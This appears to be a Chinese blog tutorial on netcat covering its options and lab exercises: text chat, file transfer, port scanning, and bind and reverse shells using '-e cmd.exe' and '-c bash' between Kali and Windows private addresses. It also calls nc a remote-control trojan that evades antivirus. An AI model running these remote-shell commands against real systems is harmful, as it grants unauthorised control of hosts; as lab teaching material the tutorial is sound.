nc介绍

nc作为网络工具中的瑞士军刀,是学习信息安全必须掌握的工具之一,nc的大小只有几十kb包括Linux版和windows版,但它的作用也是非常之大。

nc作用

  1. 侦听模式 / 传输模式
  2. telnet / 获取banner信息
  3. 传输文本信息
  4. 传输文件/目录
  5. 加密传输文件
  6. 远程控制/木⻢:杀毒软件不会查杀
  7. 加密所有流量
  8. 流媒体服务器
  9. 远程克隆硬盘

工具参数

基本格式:nc [-options] hostname port [ports] …
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时

使用教程

环境:

主机 ip
kali 192.168.252.128
windows 10 192.168.252.130

kali中自带windows 版和Linux版nc

将nc.exe下载到windos 10放入C:\Windows\System32
使用cmd 使用nc

传输文本信息

建立连接

kali:
nc -lp 99 #使用监听模式监听端口为99
windows 10 :
nc -nv 192.168.252.128 99 #连接kali监听端口
注意这里nc没有加-u参数使用的是tcp连接

此时可以发送文本信息

nc -ul -p  9999
nc -u 192.168.252.128 9999
面向udp连接

文件传输

nc -l 9999 < 1.txt
nc 192.168.252.128 > 1.txt

内存取证

nc -l -p 4444 > quzheng.txt
ls -l | nc -nv 192.168.252.130 4444

端口扫描

nc -nvz 192.168.252.130 1-65535  #-z 扫描模式,扫描io  默认tcp端口
nc -nvzu 192.168.252.130 1-1024  #-u udp端口

shell连接

正向

Linux连接nc -lp 4444 -c bashnc 192.168.252.128 4444


windows 连接

nc -l -p 5555 -t -e cmd.exe
nc -nvv 192.168.252.130 5555


反向连接

windows 监听:
nc -lp 4444
kali开端口:
nc  192.168.252.130 4444 -c bash

kali监听
nc -lp 5555
windows 开端口
nc -t -e cmd 192.168.252.128 5555

NC瑞士军刀 网络工具相关推荐

  1. 网络工具中的瑞士军刀——netcat工具简介

    今天给大家带来netcat这款工具的简单介绍.netcat有着"网络工具中的瑞士军刀"的绰号.它体积小巧,功能却又十分强大.下面的内容包括,man手册翻译.常用参数介绍及例子. 一 ...

  2. 【netcat学习】学习使用网络工具中的瑞士军刀——NetCat

    简介 NetCat被称为网络工具中的"瑞士军刀",体积小巧,功能强大.使用netcat可以建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,可以在这些连接上读取数据 ...

  3. 网络工具nc的常见功能和用法

    文章目录 前言 nc netcat ncat nc的用法 测试udp端口是否可用 端口扫描 一对一聊天 传输文件 端口转发 总结 前言 nc 是一个Linux环境下常用的工具命令,可以用来帮助开发者查 ...

  4. linux nc命令--功能强大的网络工具

    linux nc命令--功能强大的网络工具 Socket长连接 AT指令测试,连接阿里云服务器 EC200S 4G CAT.1模块 nc命令简介 1)端口扫描 2) 远程拷贝文件 3) 简单聊天工具 ...

  5. 10.13 nc:多功能网络工具

    nc命令 是一个简单.可靠.强大的网络工具,它可以建立TCP连接,发送UDP数据包,监听任意的TCP和UDP端口,进行端口扫描,处理IPv4和IPv6数据包. 如果系统没有nc命令,那么可以手动安装, ...

  6. Linux 网络工具——nc命令

    功能说明:强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p&l ...

  7. NetCat瑞士军刀渗透工具使用详解

    Netcat是什么 NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大. Nc主要功能 Nc可以在两台设备上面相互交互,即侦听模式/传输模式 Telnet功能 获取banner信息 ...

  8. Linux Netcat 命令——网络工具中的瑞士×××

    Netcat是网络工具中的瑞士×××,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做 ...

  9. Linux 中的 netcat 网络工具简介

    Linux 中的 netcat 网络工具简介 Apr 3, 2020 |  Linux |  linux netcat netcat 是 Linux 系统中的网络工具,其通过 TCP 和 UDP 协议 ...

最新文章

  1. Nature子刊:利用闭环脑机接口缓解疼痛感
  2. git rebase -i 修改提交
  3. 学习笔记之-java8的新特性-函数式接口,lambda表达式,方法引用,Stream API,Optional类
  4. 快速锁屏电脑快捷键_MacBook Pro使用技能 一键锁屏
  5. 用mycat做读写分离:基于 MySQL主从复制
  6. python:函数的参数传递方法演示
  7. 【Django 2021年最新版教程11】数据库删除操作
  8. 地震数据插值之深度学习方法
  9. intel服务器最新主板芯片组,intel主板芯片组的介绍大全
  10. php的替换快捷键是什么,wps替换快捷键是什么
  11. 2021年「通信安全员」通用基础及岗位技能(通信安全员)考试资料
  12. 网络安全竞赛C模块批量拿值脚本
  13. Python获取逐浪小说内容
  14. javaweb_util_excel模板横向纵向循环
  15. 如何在表格里做计算机统计表,如何运用Excel编制统计表并做一般数据分析?-excel统计怎么做,最简单的统计表格怎么做...
  16. 人物志 | 美团技术委员会前端通道主席洪磊:爱折腾的斜杠青年
  17. 【算法】算法学习网站
  18. TX2开箱,安装JetPack
  19. 《Effective Morden C++》Item 8: Prefer nullptr to 0 and NULL.
  20. forEach结束循环

热门文章

  1. c语言创建字符串数组的两种方式
  2. 什么是赛顿? Python以C的速度
  3. 优启通系统U盘制作及Win10系统安装
  4. 51proteus仿真:生成方波、正弦波、锯齿波和三角波
  5. 操作系统ahci aci ide模式
  6. 根据身份证推算出年龄
  7. ERP学习--MRP公式与计算
  8. vc MSChart的使用
  9. html5 游戏 算法,台球类html5游戏的AI设计与核心算法的实现
  10. 哈佛凌晨四点半——生活感悟